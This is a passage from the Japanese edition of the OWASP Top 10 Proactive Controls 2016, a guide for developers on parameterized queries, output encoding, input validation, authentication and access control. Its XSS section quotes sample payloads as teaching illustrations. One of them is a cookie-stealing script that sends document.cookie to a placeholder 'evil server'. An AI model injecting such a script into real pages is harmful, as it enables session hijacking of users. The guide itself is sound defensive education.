OWASP Top 10 Proactive Controls 2016 -Japanese

Webアプリケーション開発者が気を付けるべき10のセキュリティ技術

OWASPについて

Open Web Application Security Project（OWASP）は、安全なソフトウェアの設計・開発・習得・運用と維持に関する活動を支援する、非営利の団体です。OWASPのツールやドキュメントなど、すべての成果物は無料で利用できます。各国で活動しているチャプターは、アプリケーションセキュリティをより良いものにすることに関心をお持ちの方であれば、誰でも参加できます。OWASPのホームページは http://www.owasp.org/ にあります。

OWASPはこれまでに無いタイプの組織です。OWASPは商業的な圧力を受けずに活動しています。そのため、OWASPが提供するアプリケーションセキュリティに関する情報は、先入観や偏見にとらわれず、実践的で、費用対効果の高いものとなっています。OWASPはいかなるITベンダーの影響も受けていません。ほとんどのオープンソースソフトウェアプロジェクトと同様、OWASPが提供する成果物は、多くの支援者による協力のもと、透明性のあるプロセスで製作されています。OWASPの取り組みが長期的に成功するよう、私たちは収益を得ずに活動する方針を採っています。

はじめに

安全では「ない」ソフトウェアは、金融や医療はもとより、国防やエネルギーをはじめとした世界中の重要なインフラを危険にさらします。私たちが利用するグローバルな情報システムは、ますます複雑に、かつ、多くの機器が相互に接続されるようになってきています。そのため、アプリケーションセキュリティを確保するのは急激に難しくなってきています。もはや、比較的単純なセキュリティ問題も見過ごす訳にはいきません。

*OWASP Top 10 Proactive Controls*プロジェクトの目的は、アプリケーションセキュリティに関する注意を喚起することです。そのため、ソフトウェア開発者が最も注意すべき、重要な項目に的を絞って解説しています。アプリケーションセキュリティについて議論するにあたり、OWASP Proactive Controlsを是非、活用してください。きっと、過去の経験（失敗）から

学ぶことができるでしょう。安全なソフトウェアを開発する取り組みに、OWASP Proactive Controlsがお役に立てることを願います。内容に関する質問や意見、新しいアイディアがあれば是非、OWASP Proactive Controlsプロジェクトにお寄せください。プロジェクトの公式メーリングリストは https://lists.owasp.org/mailman/listinfo/owasp_proactive_controlsから参加することができます。プロジェクトリーダーの個人的な連絡先は jim@owasp.org になります。

ライセンス

プロジェクトリーダー

Katy Anton
Jim Bird
Jim Manico

協力者

Cassio Goldschmidt
Eyal Estrin (Hebrew Translation)
Cyrille Grandval (French Translation)
Frédéric Baillon (French Translation)
Danny Harris
Any many more….
Stephen de Vries
Andrew Van Der Stock
Gaz Heyes
Colin Watson
Jason Coleman

日本語版翻訳

倉持　浩明（OWASP Japan/株式会社ラック）
藤本　博史（株式会社ラック）
永井　英徳（株式会社ラック）
岡田 良太郎（OWASP Japan/株式会社アスタリスク・リサーチ）
ロバート・ドラーチャ（OWASP Japan/株式会社アスタリスク・リサーチ）
渡邉　浩一郎
owasp-japan@lists.owasp.orgのみなさん

OWASP Top 10 Proactive Controls 2016で列挙しているセキュリティ概念は、すべてのソフトウェア開発プロジェクトで考慮しなければならないものです。リストは重要な順に1番から列挙しています。

1. 早期に、繰り返しセキュリティを検証する
2. クエリーのパラメータ化
3. データのエンコーディング
4. すべての入力値を検証する
5. アイデンティティと認証管理の実装
6. 適切なアクセス制御の実装
7. データの保護
8. ロギングと侵入検知の実装
9. セキュリティフレームワークやライブラリの活用
10. エラー処理と例外処理

1:早期に、繰り返しセキュリティを検証する

概要

ほとんどの組織で行われているセキュリティテストは、開発・テストのサイクルとは無関係に実施されています。そのほとんどが「診断して、直す」というやり方で行われています。セキュリティチームが診断ツールを用いてテストを行ったり、侵入テストを実施して出てきた問題点を「修正が必要な脆弱性リスト」として開発チームに渡して終わりです。この状況はさながら「車輪を回し続けるハムスターの苦しみ」と同じではないでしょうか。もっと良いやり方があるはずです。

セキュリティテストも、ソフトウェアエンジニアリングの一部として統合されたプロセスであるべきです。「テストによって品質は作り込めない」と言われますが、セキュリティに関しても同じです。プロジェクトの最後の局面でセキュリティテストを行うだけでは意味がありません。「テストによってセキュリティは作り込めない」のです。手動で検証するにせよ、ツールを用いて自動でテストするにせよ、開発プロジェクトの早い段階から、繰り返し何度も検証する必要があります。

テストシナリオやテストコードを準備している段階からセキュリティを考慮しましょう。事前の対策(Proactive Controls)をスタブやドライバーに盛り込みましょう。セキュリティテストのシナリオは、最も粒度の小さいものは1回のイテレーションで実装し検証することができる程

度のものにします。テストは軽量なものでなければなりません。セキュリティ要件についてはOWASP ASVSもガイドラインとして役に立つはずです。

次のような筋道の通ったシナリオテンプレートを維持することを考えましょう。「〇〇というユーザー（種別）の場合、△△の機能が必要です。これにより□□という成果を得ることができます」という類のものです。データに保護を先に考えましょう。アジャイルにおける「完了の定義」を決める際には、セキュリティ管理部門にも加わってもらうようにしましょう。

セキュリティチームが、あらゆる種類の問題を事前に避けるようにスキャンテストの実行結果を、再利用可能な「事前の対策」へ変えていこうと努力するようになれば、複数のスプリント（訳注：アジャイル開発における開発サイクル）にわたって修正を引き延ばすことは避けられるでしょう。さもないと、セキュリティスキャンの出力結果の指摘対応を、複数のスプリントにまたがって対応しなければなりません。ですから、欠陥からわかったことを分析し、その欠陥に対応できるように、事前の対策に変換することを習慣的に行うべきです。そして、セキュリティチームと質疑応答の機会を持ち、対策が施されたことによって、欠陥が修正されたことを確認するのです。

アジャイル開発の利点を取り入れましょう。アジャイル開発には「テスト駆動開発」「継続的インテグレーション」「絶え間なくテストし続ける」といったプラクティスがあります。これらのプラクティスにより、開発チームは高速かつ自動化されたフィードバックループを通じて、自身のコードに責任を持てるようになります。

この対策で防げる脆弱性

- OWASP Top 10のすべて

参考

- OWASP Testing Guide
- OWASP ASVS

ツール

- OWASP ZAP
- OWASP Web Testing Environment Project
- OWASP OWTF
- BDD Security Open Source Testing Framework
- Gauntlt Security Testing Open Source Framework

トレーニング

- OWASP Security Shepherd
- OWASP Mutillidae 2 Project

2:クエリーのパラメータ化

概要

SQLインジェクションは、Webアプリケーションのリスクの中でも最も危険なものの一つです。オープンソースで配布されている自動攻撃ツールがあるので、誰でも容易にこの脆弱性を悪用できてしまいます。SQLインジェクションの脆弱性が悪用されると、アプリケーションに壊滅的な被害を与えてしまいます。

悪意のあるSQLコマンドをWebアプリケーションに挿入（Injection）できてしまうと、データベースのすべてのデータが漏えい・消去・改ざんされる危険性があります。さらに、SQLインジェクションの脆弱性があると、データベースが稼働するOSに対して危険なOSコマンドを実行することも可能です。SQLインジェクションが発生する原因は、SQLコマンドの問い合わせ構文とパラメータを文字列として組み立てているという点にあります。

SQLインジェクションを防ぐには、信頼できない入力値がSQLコマンドの一部として解釈されるのを避ける必要があります。最も良い方法は「クエリーのパラメータ化」と呼ばれる実装方法です。この方法では、SQLの問い合わせ構文とパラメータは、それぞれ別々にデータベースサーバーに送信され、データベース上で解析されます。

Rails、Django、Node.jsといったフレームワークでは、データベースとのやりとりにはORモデル（Object-Relationalモデル）が採用されています。ORモデルを採用しているこれらのフレームワークでは、データの参照や更新の際には自動的にクエリーのパラメータ化が行われています。しかし、OQLやHQLといったオブジェクトクエリーにユーザーからの入力値を用いる場合は注意が必要です。これ以外にもフレームワークがサポートしている形式があれば、同様に注意する必要があります。

SQLインジェクションを防ぐには、クエリーのパラメータ化以外にも「自動化された静的コード解析機能を使用する」や「データベース管理システムを適切に設定する」などの対策方法があります。もし可能ならば、データベースエンジンが「パラメータ化されたクエリー」のみをサポートするように設定すると良いでしょう。

Javaによるクエリーのパラメータ化の例

次に示すのは、Javaによるクエリーのパラメータ化の例です。

```
String newName = request.getParameter("newName");
int id = Integer.parseInt(request.getParameter("id"));
PreparedStatement pstmt = con.prepareStatement("UPDATE
EMPLOYEES SET NAME = ? WHERE ID = ?");
pstmt.setString(1, newName);
pstmt.setInt(2, id);
```

PHPによるクエリーのパラメータ化の例

次に示すのは、PHPによるクエリーのパラメータ化の例です（PDOを使用）。

```
$stmt = $dbh->prepare(”update users set email=:new_email where
id=:user_id”);
$stmt->bindParam(':new_email', $email);
$stmt->bindParam(':user_id', $id);
```

Pythonによるクエリーのパラメータ化の例

次に示すのは、Pythonによるクエリーのパラメータ化の例です。

```
email = REQUEST[‘email’]
id = REQUEST[‘id’]
cur.execute("update users set email=:new_email where
id=:user_id",{"new_email": email, "user_id": id})
```

.NETによるクエリーのパラメータ化の例

次に示すのは、C#.NETによるクエリーのパラメータ化の例です。

```
string sql = "SELECT * FROM Customers WHERE CustomerId =
@CustomerId";
SqlCommand command = new SqlCommand(sql);
command.Parameters.Add(new SqlParameter("@CustomerId",
System.Data.SqlDbType.Int));
command.Parameters["@CustomerId"].Value = 1;
```

SQLインジェクションに関して

- OWASP Top 10 2013-A1-Injection
- OWASP Mobile Top 10 2014-M1 Weak Server Side Controls References

参考

- OWASP Query Parameterization Cheat Sheet
- OWASP SQL Injection Cheat Sheet
- OWASP Quick Reference Guide

3:データのエンコーディング

概要

エンコーディングは、様々な種類の攻撃を防ぐことができる強力なメカニズムです。特にインジェクション系の攻撃を防ぐ効果があります。ここで言うエンコーディングには、特殊文字を別の文字に置換し、対象の処理系にとっての危険を除去するという意味も含んでいます。エンコーディングは様々なインジェクション系の攻撃を防ぐために使われます。コマンドインジェクション(Unixコマンドのエンコーディング、Windowsコマンドのエンコーディング)、LDAPインジェクション(LDAPエンコーディング)やXMLインジェクション(XMLエンコーディング)などがそうです。エンコーディングに関するもう一つの例としては、クロスサイトスクリプティング(XSS)を防ぐために必要な出力のエンコーディング(HTML エンコーディングや JavaScript のエスケープなど)があります。

Webシステムの開発

Web開発者はよく動的なWebページを作成します。動的なWebページは、静的なコンテンツと開発者が作り込んだ HTMLやJavaScript、そして、ユーザー自身が入力した値や何らかの信頼できないソースのデータを組み合わせて構成されています。こうした入力値は、「信頼できない、危険かもしれないもの」として取り扱われるべきです。そのため、安全なWebアプリケーションを開発するには、とりわけ注意して取り扱う必要があります。クロスサイト・スクリプティング(XSS)の脆弱性があると、悪意のある攻撃者はユーザーを騙して、開発者が想定しない悪意のあるスクリプトをユーザーが実行するように仕向けられます。XSSはユーザーのブラウザ上で実行され、様々な影響をユーザーにもたらします。

例
XSSによるWebページの改ざん:

```
<script>document.body.innerHTML("Jim was here");</script>
```

XSSによるセッションハイジャック:

```
<script>
var img = new Image();
img.src="http://<some evil server>.com?" + document.cookie;
</script>
```

XSSの類型

XSSには、次に示すように三つの類型があります。

- 持続型XSS
- 反射型XSS
- DOM based XSS

持続型XSS（蓄積型XSSとも言います）では、XSSの攻撃コードはWebサイトのデータベースやファイルシステム内に仕込まれています。この種のXSSはより危険です。一般的に、攻撃が行われる時には対象のサイトにユーザーが既にログインしていると考えられ、一つのインジェクション攻撃が複数の別々のユーザーに被害が及ぶ可能性があるからです。

反射型XSSでは、XSSの攻撃コードはURLの一部に仕込まれています。そして被害者がURLをクリックするように仕向けるのです。被害者がこのURLをクリックすると、XSS攻撃が発動します。反射型XSSが（持続型 XSS に比べて）危険性が低いのは、攻撃者と被害者との間で何度かこうしたやりとりを必要とするからです。

DOM based XSSでは、XSS攻撃はHTMLコードではなく、DOMに対する操作として行われます。つまりWebページ自体は変更されず、その代わりに、Webページに記述されたクライアントサイドスクリプトが、DOMを操作する悪意のあるコードを実行してしまうのです。これは実際の挙動を観察するか、実際に表示されているWebページのDOMを調査しなければ発見できません。

例として、http://www.example.com/test.html というWebページに次に示すようなコードが記述されていたとします。

```
<script>
document.write("<b>Current URL<b> : " + document.baseURI);
</script>
```

このWebページに対して、以下のようなリクエストを送信すると、DOM based XSSが成立します。

```
http://www.example.com/test.html#<script>alert(1)</script>
```

Webページのソースコードを見ただけでは、外部から挿入された`<script>alert(1)</script>`というコードを発見できません。これはDOMの領域で発生する問題であり、JavaScriptが実行されて成立するためです。

XSSを防ぐには、文脈に応じて出力時に適切なエンコーディングを行うのが欠かせません。出力時のエンコーディングは、ユーザーインターフェイスを構築する部分、つまり、「信頼できないデータ」が動的にHTMLとして出力される、まさに最後の局面で行います。実施すべきエンコーディングは、「信頼できないデータ」を出力するHTMLのコンテキストに依存します。つまり、データを出力する際に、そのデータをHTMLの属性値として出力するのか、HTML本文として出力するのか、あるいはJavaScriptのコードブロックに出力するかによって実施すべきエンコーディングが異なってくるのです。

XSSを防ぐために使われるエンコーディングには、HTMLエンコーディングやJavaScriptエンコーディング、パーセントエンコーディング（URLエンコーディングとも呼ばれます）などがあります。Java言語で開発する場合には、OWASPのJava Encoder Projectがこれらのエンコーディングを提供しています。.NET 4.5ではAntiXssEncoderクラスが、CSS、HTML、URL、JavaScriptとXMLのエンコーディングを提供しています。オープンソースのAntiXSSライブラリでは、LDAPやVBScriptのエンコーディングが提供されています。Webシステムを開発する他のプログラミング言語でも、エンコーディングを支援する何らかのライブラリが提供されています。

モバイルシステムの開発

モバイルアプリケーションでは、Web Viewと呼ばれる機能を用いることで、AndroidやiOSのネイティブアプリケーションでもHTMLやJavaScriptの描画処理を実装できます。Web ViewはSafariやChromeのようなネイティブブラウザでも採用されている機能です。Webアプリケーションの場合と同様、iOSやAndroidのネイティブアプリケーションにおいても、HTMLやJavaScriptをWeb Viewによって描画する場合には、適切なサニタイズ処理やエンコーディングを行っていなければXSS攻撃が成立します。このため、不正アプリと呼ばれるものには、Web Viewを使ってクライアントサイドでのインジェクションを仕掛けるものもあります。こうした不正アプリは、写真を勝手に撮影したり、位置情報にアクセスしたり、SMSや電子メールを勝手に送信するという動作を行うものがあります。こうした攻撃は個人情報の漏えいや、金銭的な被害を招く可能性があります。モバイルアプリケーションでWeb Viewを使う場合には、以下の点に注意が必要です。

1）ユーザーが生成したコンテンツを扱う場合：データのフィルタリングやエンコーディングを確実に行ってからWeb Viewに表示します。

2）外部ソースからデータを読み込んで使う場合：Web Viewに外部ソースからのデータを読み込んで使う場合には、信頼できるサーバーから得たもののみを使います。また、HTMLやJavaScriptの特殊文字を確実にエスケープします。これにより、悪意のあるJavaScriptが端末の情報を参照するのを防げます。

Javaの場合

OWASP Java Encoderによるクロスサイトスクリプティング対策の例については、https://www.owasp.org/index.php/OWASP_Java_Encoder_Project#tab=Use_the_Java_Encoder_Project を参照してください。

PHPの場合

ここでは、Zend Framework2を例にとって説明します。Zend Framework2ではZend\Escaperクラスを使って出力値のエスケープを行うことができます。次に示すのはZendFramework2でのエスケープ処理の例です。

```
<?php
$input = '<script>alert("zf2")</script>';
$escaper = new Zend\Escaper\Escaper('utf-8');
// somewhere in an HTML template
<div class="userprovidedinput">
<?php echo $escaper->escapeHtml($input);?>
</div>
```

この対策で防げる脆弱性

- OWASP Top 10 2013-A1-Injection
- OWASP Top 10 2013-A3-CrossSite Scripting (XSS)
- OWASP Mobile Top 10 2014-M7 Client Side Injection

参考

- インジェクション全般に関する情報: OWASP Top 10 2013-A1-Injection
- XSS全般に関する情報:https://www.owasp.org/index.php/XSS
- XSS Filter Evasion Attacks: OWASP XSS Filter Evasion Cheat Sheet
- WebアプリケーションでXSSを防ぐには: OWASP XSS (Cross Site Scripting) Prevention Cheat Sheet
- Web アプリケーションでDOM based XSSを防ぐには: OWASP DOM based XSS Prevention Cheat Sheet
- ASP.NETでMicrosoft AntiXSSライブラリをデフォルトのエンコーダーとして使う方法
- Microsoft AntiXSSライブラリを使ってXSS攻撃からアプリケーションを保護する方法（主にエンコーディング機能を利用）

ツール

- OWASP Java Encoder Project

4:すべての入力値を検証する

概要

ユーザーからの入力値は、ユーザーが直接入力したものであれ、間接的に入力したものであれ、すべて「信頼できないもの」として取り扱う必要があります。アプリケーションが入力値を使って処理を行う前には、単純に入力値を画面にそのまま表示する場合であっても、形式的な正しさと意味的な正しさの双方を(この順番で)検証する必要があります。安全なアプリケーションでは、どのようなデータを扱う場合でも、すべての値は信頼できないという前提に立ってセキュリティ機能を実装しています。

「形式的な正しさを検証する」というのは、データが期待される形式に沿っているかどうかを検証するということです。たとえば、あるアプリケーションでは、何かの処理を行う際に、4桁の「アカウントID」をユーザーが設定するとします。この場合には、アプリケーションではユーザーが「SQLインジェクションの攻撃コード」を入力する可能性を想定しなければなりません。そのため、アプリケーションでは、入力された「アカウントID」が4桁かどうか、数字だけで構成されているかどうかを検証する必要があります。(もちろん、「クエリーのパラメータ化」を適切に実装する必要もあります)

「意味的な正しさを検証する」というのは、データの意味の正しさを検証するということです。先ほどの例では、悪意のあるユーザーが、自分には権限の無いアカウントIDを指定する場合を想定しなければなりません。この場合アプリケーションでは、入力されたアカウントIDに対する権限を本当に持っているかどうかを検証する必要があるのです。

入力値の検証は、サーバーサイドで実施しなければなりません。クライアントサイドでの検証は、利便性のために使用します。たとえば、JavaScriptによる検証により、あるフィールドが数値で構成されなければならないとユーザーに警告しても構いませんが、サーバーでは必ず、入力値が実際に数値だけで構成されているかどうかを検証しなければなりません。

背景

Webアプリケーションの脆弱性と言われるもののほとんどは、結局のところ、入力値の検証を正しく行えているか、すべての入力値を検証できているかどうかに起因しています。「入力値」とは、必ずしも画面からユーザーが直接入力したものには限りません。Webアプリケーションや Webサービスでは、次に挙げるようなものを「入力値」として考える必要があります。これは一例であり、これが「すべて」ではありません。

- HTTPヘッダー
- Cookie
- GETやPOSTのパラメータ(hiddenフィールドも含みます)
- ファイルのアップロード(ファイル名のような情報も含みます)

同様に、モバイルアプリケーションでは、次に挙げるようなものも「入力値」として考える必要があります。

- プロセス間通信（IPC−たとえば、Androidの場合はIntent）
- バックエンドのWebサービスから取り出したデータ
- 端末のファイルシステムから取り出したデータ

ブラックリスト方式とホワイトリスト方式

入力値の形式チェックを実装するには、一般的には二種類の方法があります。「ブラックリスト方式」「ホワイトリスト方式」と呼ばれるものがそれです。

- ブラックリスト方式では、入力値が「既知の悪意あるデータのリスト（ブラックリスト）」に合致するかどうか、という観点で入力チェックを行います。ブラックリスト方式による入力チェックは、アンチウイルスソフトウェアの挙動に似ています。アンチウイルスソフトウェアは、「既知のウイルス定義ファイル」に検査するファイルと同じものがあるかどうかを調べます。もし既知のウイルス定義ファイルに同じファイルが含まれていたら、そのファイルをウイルスと見做します。ブラックリスト方式による入力チェックは、セキュリティ対策としては推奨できません。

- 一方、ホワイトリスト方式では、入力値が「既知の問題ないデータのリスト（ホワイトリスト）」に合致するかどうか、という観点で入力チェックを行います。たとえば、あるWebアプリケーションで、あらかじめ決められた三つの都市の中から一つを選択するという入力画面があったとします。このWebアプリケーションの入力チェックでは、選択された都市があらかじめ決められた三つの都市のうちのどれか一つが選ばれているかどうかをチェックし、それ以外の入力はすべてエラーとします。文字列型の項目に対してホワイトリスト方式で入力チェックを行う場合は、入力値が「入力が許可された」文字種だけで構成されているかをチェックし、許可された形式であるかどうかをチェックします。たとえば、ユーザー名に対する入力チェックでは、データがアルファベットと数字だけで構成されているかどうかをチェックし、さらに、ユーザー名の中にちょうど二つだけ数字が含まれているかどうかをチェックします。

安全なソフトウェアを開発するうえでは、ホワイトリスト方式が望ましい入力チェックの方式です。ブラックリスト方式は抜け漏れが生じやすく、様々な回避テクニックにより、チェックを回避される場合もあります。（加えて、ブラックリスト方式では、新たな攻撃手法が発見される都度、「定義ファイル」を更新し続けなければなりません。）

正規表現

正規表現を使うと、データが特定のパターンとマッチするかどうかを検証することができます。ホワイトリスト方式の入力チェックを実装する際には、正規表現を活用すると良いでしょう。

一般的なWebアプリケーションを例にとって説明します。最初にユーザー登録する際に必要になるのは「ユーザー名」「パスワード」と「メールアドレス」といったところでしょうか。もし悪意のある者が、ユーザー登録を行っているとしたら、入力値にはWebアプリケーションに対する攻撃コードが含まれているかもしれません。これらすべての項目に対する入力チェックとして、許可された文字種だけで構成されているかを検証し、データ長が規定内であるかどうかをチェックします。こうした入力チェックを実装することで、Webアプリケーションを攻撃するのは、困難になります。

では、まずは「ユーザー名」に対する、次の正規表現から考えてみましょう。

```
^[a-z0-9_]{3,16}$
```

入力チェックで使われるこの正規表現では、ホワイトリスト方式で許可する文字種を指定しています。この例では、小文字のアルファベットと数字、それとアンダースコアだけがユーザー名として使えると規定しています。そしてユーザー名の長さは、この例では3文字から16文字までと規定しています。

次に示すのは「パスワード」フィールドに対する正規表現の例です。

```
^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[@#$%]).{10,4000}$
```

この正規表現では、パスワードとして指定できるのは10文字から4,000文字までで、パスワードには小文字のアルファベット、大文字のアルファベット、数字、記号(「@」「#」「$」「%」から1つ以上)の4種をすべて含む必要があると指定しています。

最後に、「メールアドレス」に対する正規表現の例を示します。(ここでは、HTML5の仕様に基づくものとします。)

```
^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$
```

正規表現を用いる場合には、慎重に行う必要があります。設計が不十分な正規表現が原因でWebサービスが停止してしまう場合もあります(これは、ReDoS - Regular expression Denial of Serviceとも呼ばれます)。静的コード解析や正規表現をテストするツールを使うことで、このようなミスを未然に防げます。

正規表現だけでは入力チェックが不完全な場合があります。たとえば、Webアプリケーションがマークアップ言語を取り扱う場合は、入力チェックはとても難しくなります。よくあるのは、入力値にHTMLタグを含まざるを得ないような場合です。この場合はエンコーディングも同様に難しくなります。なぜなら、入力値に含まれるマークアップの「タグ」をエンコーディングしてしまうと、本来受け付けるべき「タグ」の意味を損なってしまうからです。HTML形式のデータを解析し整形する場合には、専用のライブラリを使うと良いでしょう。正規表現はHTML形式のデータを解析し不正なタグを除去するのには向きません。詳細については、XSS Prevention Cheat Sheet on HTML Sanitization をご覧ください。

PHPの場合

PHP（5.2.0以上）の場合は、Filter関数が入力値の検証に使えます。さらに、Filter関数を用いて入力値から不正な文字列を除去（サニタイズ）することもできます。他にも、Filter関数はデータのフィルタリングに関する様々な機能を提供します。

次の例では、データの検証とサニタイズを行っています。

```
<?php
$sanitized_email = filter_var($email, FILTER_SANITIZE_EMAIL);
if (filter_var($sanitized_email, FILTER_VALIDATE_EMAIL)) {
    echo "This sanitized email address is considered valid.\n";
}
```

正規表現に関する補足

正規表現は、入力チェックを実装する一つの方法に過ぎません。正規表現に不慣れな開発者にとっては、保守や理解が大変です。入力チェックのルールをより分かりやすく表記できる方法があれば、正規表現以外も実装方法の候補として検討すると良いでしょう。

入力チェックとセキュリティに関する補足

入力チェックの段階では、信頼できない入力値を「無害な状態に」変換してしまう必要はありません。危険と思われるデータも「正しいデータ」として受け入れなければならない場合があります。アプリケーションのセキュリティは、入力値が実際に使われる箇所で担保されるべきです。たとえば、入力値をHTMLの一部として出力するのであれば、クロスサイトスクリプティング対策としてHTMLエンコーディングを実装します。同様に、入力値をSQL文の一部として使うのであれば、クエリーのパラメータ化を使います。どのような場合であれ、セキュリティ対策を入力チェックに依存してはいけません。

この対策で防げる脆弱性

- OWASP Top 10 2013-A1-Injection
- OWASP Top 10 2013-A3-Cross-Site Scripting (XSS)
- OWASP Top 10 2013-A10-Unvalidated Redirects and Forwards
- OWASP Mobile Top 10 2014-M8 Security Decisions Via Untrusted Inputs

参考

- OWASP Input Validation Cheat Sheet
- OWASP Testing for Input Validation
- OWASP iOS Cheat Sheet Security Decisions via Untrusted Inputs

ツール

- OWASP JSON Sanitizer Project
- OWASP Java HTML Sanitizer Project

5:アイデンティティと認証管理の実装

概要

「認証」とは、個人ないしは端末が、名乗っているとおりの本人かどうかを確認するプロセスのことです。認証で一般的に使われるのはユーザー名(もしくはユーザーID)と本人だけが知っている情報です。「本人だけが知っている情報」は、1つもしくは複数のものが利用されます。

「セッション管理」とは、サーバーと通信している相手との間の状態を管理するプロセスです。サーバーは特定のクライアントとの状態遷移を管理するためにセッション管理を必要とします。セッション管理ではクライアントとサーバー間の送受信の際にセッションIDを利用します。セッションはユーザー毎にユニークでなければならず、また、セッション管理に用いられるセッションIDは推測可能なものであってはなりません。

アイデンティティ管理で考慮すべき点はとても幅広いもので、認証やセッション管理だけがすべてではありません。他にもIDの連携、シングル・サインオン、パスワード管理ツール、代理認証やアイデンティティ情報の安全な保存などのテーマがあります。

ここでは、これらのテーマについて安全な実装方針と、いくつかについてはサンプルコードも示したいと思います。

多要素認証を使用する

多要素認証（MFA:Multi-Factor Authentication）とは、本人確認の手段として、以下に示すような情報（モノ）の組み合わせを用いる認証方式です。

- 本人しか知らない情報 – パスワードや暗証番号
- 本人の持ち物 – トークンや携帯電話などの端末
- 本人の属性 – バイオメトリクス（指紋など）

多要素認証について詳しくは、Authentication Cheat Sheetをご覧ください。

モバイルアプリケーション：トークンによる認証

モバイルアプリケーションを開発する場合には、認証に必要な情報を端末に保存するのは避けた方が良いでしょう。初回の認証の際にはユーザーが入力したユーザー名とパスワードを使って認証を行いますが、認証に必要な情報を端末に保存する代わりに、有効期間をなるべく短く設定したトークンを発行しておきます。パスワードなどの代わりに、このトークンをクライアントから送信して認証を行います。

安全なパスワード保存庫の実装

アプリケーションは、強力な認証メカニズムを提供するために、パスワードなどの認証に使う情報を安全に保存しなければなりません。さらに、万が一に備えて、パスワードなどの認証に使われる情報は適切に暗号化しておく必要があります。パスワードを暗号化して保存しておけば、パスワードが漏えいしたとしても攻撃者はすぐに情報にアクセスすることができません。安全なパスワードの保存について詳しくは、Password Storage Cheat Sheetをご覧ください。

安全なパスワードリカバリー方式の実装

ユーザーがパスワードを忘れた場合に備えて、パスワードリカバリーの機能を実装しておくのが一般的です。こうしたパスワードリカバリー機能では、ユーザーの認証に多要素認証の要素を用いるのが良いでしょう。（たとえば、本人だけが知り得る「秘密の質問」に答えてもらったうえで、サーバーが生成したトークンを本人の持ち物である端末に送信する、などの方法が考えられます）。

パスワードリカバリーについて詳しくはForgot Password Cheat Sheetを参照してください。「秘密の質問」についてはChoosing and Using Security Questions Cheat Sheetに詳しい説明があります。

セッションの生成と破棄

認証（もしくは再認証）に成功した時には、新しいセッションとセッションIDを生成する必要があります。

アクティブなセッションが攻撃者に狙われて、セッションがハイジャックされてしまう時間を最小化するため、すべてのセッションには必ず「有効期限」を設け、一定時間アクセスが無いセッションは破棄しなければなりません。セッションの有効期限は、保護しようとするデータの価値とは反比例となるように設定すべきです（訳注：保護しようとするデータの価値が高いほど、セッションの有効期限を短くする）。

セッション管理について詳しくは、Session Management Cheat Sheetをご覧ください。

重要な処理を行う場合には、再認証を行う

パスワードの変更や購入時の送り先住所の変更などのように、機密性の高い処理を行う場合にはユーザーの再認証を行うのが重要です。そして可能であれば、新しいセッションIDを生成してください。

パスワードのハッシュ化処理の例（PHP）

次に示すサンプルコードは、PHPによるパスワードのハッシュ化の例です。ここではpassword_hash()関数（PHP 5.5.0から利用できます）を用いています。password_hash()関数ではBCrypt(Blowfish）がデフォルトのハッシュアルゴリズムとして用いられています。この例ではアルゴリズムのコスト値として15を指定しています。

```
<?php
$cost = 15;
$password_hash = password_hash("secret_password",PASSWORD_DEFAULT,
["cost" => $cost] );
?>
```

さいごに

認証とアイデンティティは非常に大きな課題です。ここではそのほんの「さわり」について触れたに過ぎません。認証に関しては、プロジェクトで最も経験とスキルを持つエンジニアに担当してもらうのが望ましいでしょう。

この対策で防げる脆弱性

- OWASP Top 10 2013-A2-Broken Authentication and Session Management
- OWASP Mobile Top 10 2014-M5- Poor Authorization and Authentication

参考

- OWASP Authentication Cheat Sheet
- OWASP Password Storage Cheat Sheet
- OWASP Forgot Password Cheat Sheet
- OWASP Choosing and Using Security Questions Cheat Sheet
- OWASP Session Management Cheat Sheet
- OWASP Testing Guide 4.0: Testing for Authentication
- OWASP IOS Developer Cheat Sheet

6:適切なアクセス制御の実装

概要

「認可(アクセス制御)」とは、特定の機能やリソースに対するアクセスを許可するか、あるいは拒否するかを判断するプロセスのことを言います。「認証」(本人確認)と「認可」とは同じではないという点には注意すべきです。これらの用語と定義は混同されがちです。

アクセス制御に関する設計は、はじめはとてもシンプルです。しかし、徐々に複雑な設計になってしまいがちです。よって、アプリケーション開発の初期段階で、ここで紹介するような「明確な」アクセス制御に関する要件を検討しておきましょう。一度決めたアクセス制御の設計方針を後になって変更するのはとても大変です。アプリケーションセキュリティの中でもアクセス制御に関する設計は、じっくり時間をかけて考慮すべき領域です。特にマルチテナント環境(訳注:特定のリソースを複数のユーザーで共用する場合)や横断的なアクセス制御(訳注:ロール間の横断的なアクセス制御をデータの特性に応じて行う場合)といった要件に取り組む場合には注意が必要です。

すべてのリクエストがアクセス制御を通るようにする

ほとんどのフレームワークやプログラミング言語では、開発者が明示的に処理を記述しなければ、アクセス制御は行われません。セキュリティを中心に考えるのであれば、すべてのアクセスを最初に検証しなければなりません。フィルタまたは他の自動的な仕組みにより、すべてのリクエストが何らかのアクセス制御を通るようにしましょう。

アクセス制御のデフォルトは「拒否」

すべてのリクエストに対するアクセス制御を強制するメカニズムを採用する場合には、新規に追加した機能に対するアクセス制御の判定は、「何も設定しなければ、すべて拒否」となるようにした方が良いでしょう。残念ながら一般的にはこの反対で、新たに追加した機能に対するアクセス権には、開発者が明示的に処理を記述するまでは、「フルコントロール」が与えられているのが現実です。

最小権限の原則

アクセス制御を設計する際は、ユーザーやシステム・コンポーネントごとに操作の実行に要求される最低限の権限を、最低限の期間だけ割り当てる必要があります。

アクセス制御をプログラムにハードコーディングしない

アクセス制御のポリシーは、アプリケーションの奥深くにハードコーディングされがちです。そのようなソフトウェアでは、セキュリティ機能の監査と検証がとても複雑になり、時間がかかるようになります。そのため、アクセス制御ポリシーとアプリケーションのコードは、可能であれば分離すべきです。別の言い方をすると、アクセス制御を実行するレイヤー（コードでチェックを行っている部分）と、アクセス制御の判断プロセス（アクセス制御の「エンジン」にあたる部分）を、可能であれば分離するべきです。

アクティビティに基づいて記述する

